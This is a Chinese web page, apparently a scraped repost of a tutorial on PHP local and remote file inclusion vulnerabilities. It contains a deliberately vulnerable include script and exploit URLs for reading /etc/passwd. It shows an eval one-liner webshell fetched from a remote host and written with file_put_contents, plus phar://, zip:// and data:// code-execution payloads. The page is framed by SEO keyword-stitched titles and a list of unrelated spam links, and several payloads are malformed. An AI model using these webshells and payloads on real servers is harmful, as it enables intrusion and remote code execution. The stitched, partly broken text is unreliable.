当前位置: 首页 > news >正文

php面向对象网站开发上海市工程咨询行业协会

php面向对象网站开发,上海市工程咨询行业协会,wordpress花钱吗,电商平台运营公司引言:在实际开发过程中,经常会遇到部分模块功能需要重复使用的情况,比如数据库的增删改查,文件包含通过将需要重复使用的功能模块代码引入其他文件的内容,实现重用代码、分离配置等。然而,如果文件包含操作…

引言:在实际开发过程中,经常会遇到部分模块功能需要重复使用的情况,比如数据库的增删改查,文件包含通过将需要重复使用的功能模块代码引入其他文件的内容,实现重用代码、分离配置等。然而,如果文件包含操作不当,可能会引发所谓的文件包含漏洞,导致安全问题。

一、本地文件包含

这种类型的文件包含漏洞允许攻击者访问本地文件系统上的文件
利用需要满足的条件:

  • 1.php.init中的allow_url_fopen=On(默认开启)
  • 2.用户参数可控且后台代码没有对包含的文件进行过滤

例子: 

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:

<?php#本地文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";
?>

利用方式:

1.将txt的文件内容转换成PHP代码执行

http://127.0.0.1:8082/file_include.php?filename=phpinfo.txt

2.利用文件包含获取系统敏感文件内容

http://127.0.0.1:8082/file_include.php?filename=/etc/passwd

http://127.0.0.1:8082/file_include.php?filename=../../../../../../../etc/passwd

二、远程文件包含

此类型允许攻击者通过包含远程URL来执行代码。

利用需要满足的条件条件

  • php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
  •  用户参数可控且后台代码没有对包含的文件进行过滤

例子: 

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:


#远程文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启 
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";

 利用方式:

1.直接包含jd页面,跳转到jd页面

http://127.0.0.1:8082/file_include.php?filename=http://jd.com

2.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.php文件 ,shell.php文件的内容为<?php @eval($_GET['code']);?>

http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.21/test/shell.php?code=phpinfo();    注意:此时执行的是127.0.0.1的phpinfo()命令

3.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.txt文件 ,shell.txt文件的内容为<?php @eval($_GET['code']);?>   注意:此时执行的是192.168.3.1的phpinfo()命令

http://127.0.0.1:8082/file_include.phpfilename=http:192.168.3.1/test/shell.txt&code=phpinfo();

3.在任意服务器上写入一段木马程序

在opt/phpstudy_pro/WWW/test目录下如一句化木马

 file_put_contents("opt/phpstudy_pro/WWW/test",'<?php @eval($_GET["code"]);?>');

访问http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.1/test/shell.php?code=phpinfo();

三、伪协议 

  • 1.file://伪协议用于访问本地文件系统中的文件。这个伪协议可以直接操作本地文件,包括读取、写入等操作。
  • 2.http:// 和 https:// 伪协议用于发送HTTP请求并获取远程资源的内容。这包括获取网页内容、向远程服务器发送数据等。
  • 3.ftp://伪协议用于访问和操作FTP服务器上的文件。这包括上传、下载、删除等文件操作。
  • 4.php://伪协议用于访问各种输入/输出流。例如,php://input用于读取POST请求的原始数据,php://output用于写入输出缓冲区的数据
  • 5.data://伪协议用于在脚本中直接嵌入数据。这个伪协议允许开发者在代码中直接定义和使用数据,而无需借助外部文件。
  • 6.glob://伪协议用于查找匹配特定模式的文件路径。这对于搜索符合某个通配符规则的文件非常有用
  • 7.phar://伪协议用于操作PHP归档文件。这是一种将多个PHP文件打包成一个单一文件的方式,方便分发和部署。
  • 8.ssh2://伪协议用于通过SSH2协议访问远程资源。这主要用于安全地访问和操作远程服务器上的文件和数据。
  • 9.rar://伪协议用于操作RAR压缩文件。这允许开发者在PHP中直接读取和处理RAR文件。
  • 10.ogg://伪协议用于处理音频流。这允许开发者在PHP中直接读取和操作音频数据流。
  • 11.expect://伪协议用于处理交互式数据流。这允许与需要用户交互的应用程序进行通信,如命令行程序提示输入用户名和密码等情况。

常用的伪协议

1.phar://主要用于在PHP对压缩文件的读取,用法就是把一句话木马压缩成zip格式,shell.txt->shell.zip 将文件上传到服务器目录下

http://127.0.0.1:8082/file_include.php?filename=phar://shell.zip/shell.txt

2.zip:// 原理和phar:// 差不多      注意:压缩的/符号要改成#的url编码,也就是%23

// http://127.0.0.1:8082/file_include.php?filename=zip://shell.zip%23shell.txt

3.data:// 本身是数据流封装器,其原理和php://input类似,但是是发送GET请求参数

http://127.0.0.1:8082/file_include.php?filename=data://test/plain,<?php phpinfo(); ?>

http://www.yayakq.cn/news/249718/

相关文章:

  • 中国工程建设网站移动平台开发技术
  • 高端网站定制建站wordpress侧边悬浮联系方式插件
  • 泊头哪给做网站的好注册一个公司需要多少钱?
  • wordpress房屋网站模板seo优化的优点
  • 河南建设监理协会新网站网页分析
  • 如何建设动漫网站百度 seo排名查询
  • php网站留言板是怎么做的网站模板内容怎么添加图片
  • 河南新站关键词排名优化外包网站建设与管理实践
  • 温州做模具的网站做关于灯饰的网站
  • 网站备案 人在上海品牌建设情况
  • 网站一直建设中wordpress免费续ssl证书
  • 丰城做网站frontpage做视频网站
  • 深圳网站建设 设计创公司打开百度一下网页版
  • 网站开发的软硬件需求打开一个网站慢
  • 网站服务器干啥wordpress 高端
  • 协会工作方案网站建设困难揭阳企业网页制作公司
  • 锦州网站制作公司国家单位网站建设要多久
  • 体育 网站建设询价函格式长春网站建设方案优化
  • 网站建设维护和网页设计大学网站建设管理办法
  • 山东滨州有多少网站开发公司红豆梧州论坛
  • 网站文章不收录美食创意网页设计
  • asp网站qq登录wordpress related
  • 电子商务网站建设规划说明书怎么看一个网站用什么做的
  • 哪个行业最需要做网站郑州锐途网站建设
  • jsp网站开发详解 赵增敏网站域名更改了怎么换
  • 住房和城乡建设部网站31号文建设网站实训心得
  • 海洋牧场网站建设网站建设期间注意事项
  • 怎么建设小说网站学习网站建设难吗
  • 西安网站建设陕icp办公家具网站模版
  • 做执法设备有哪些网站新版wordpress编辑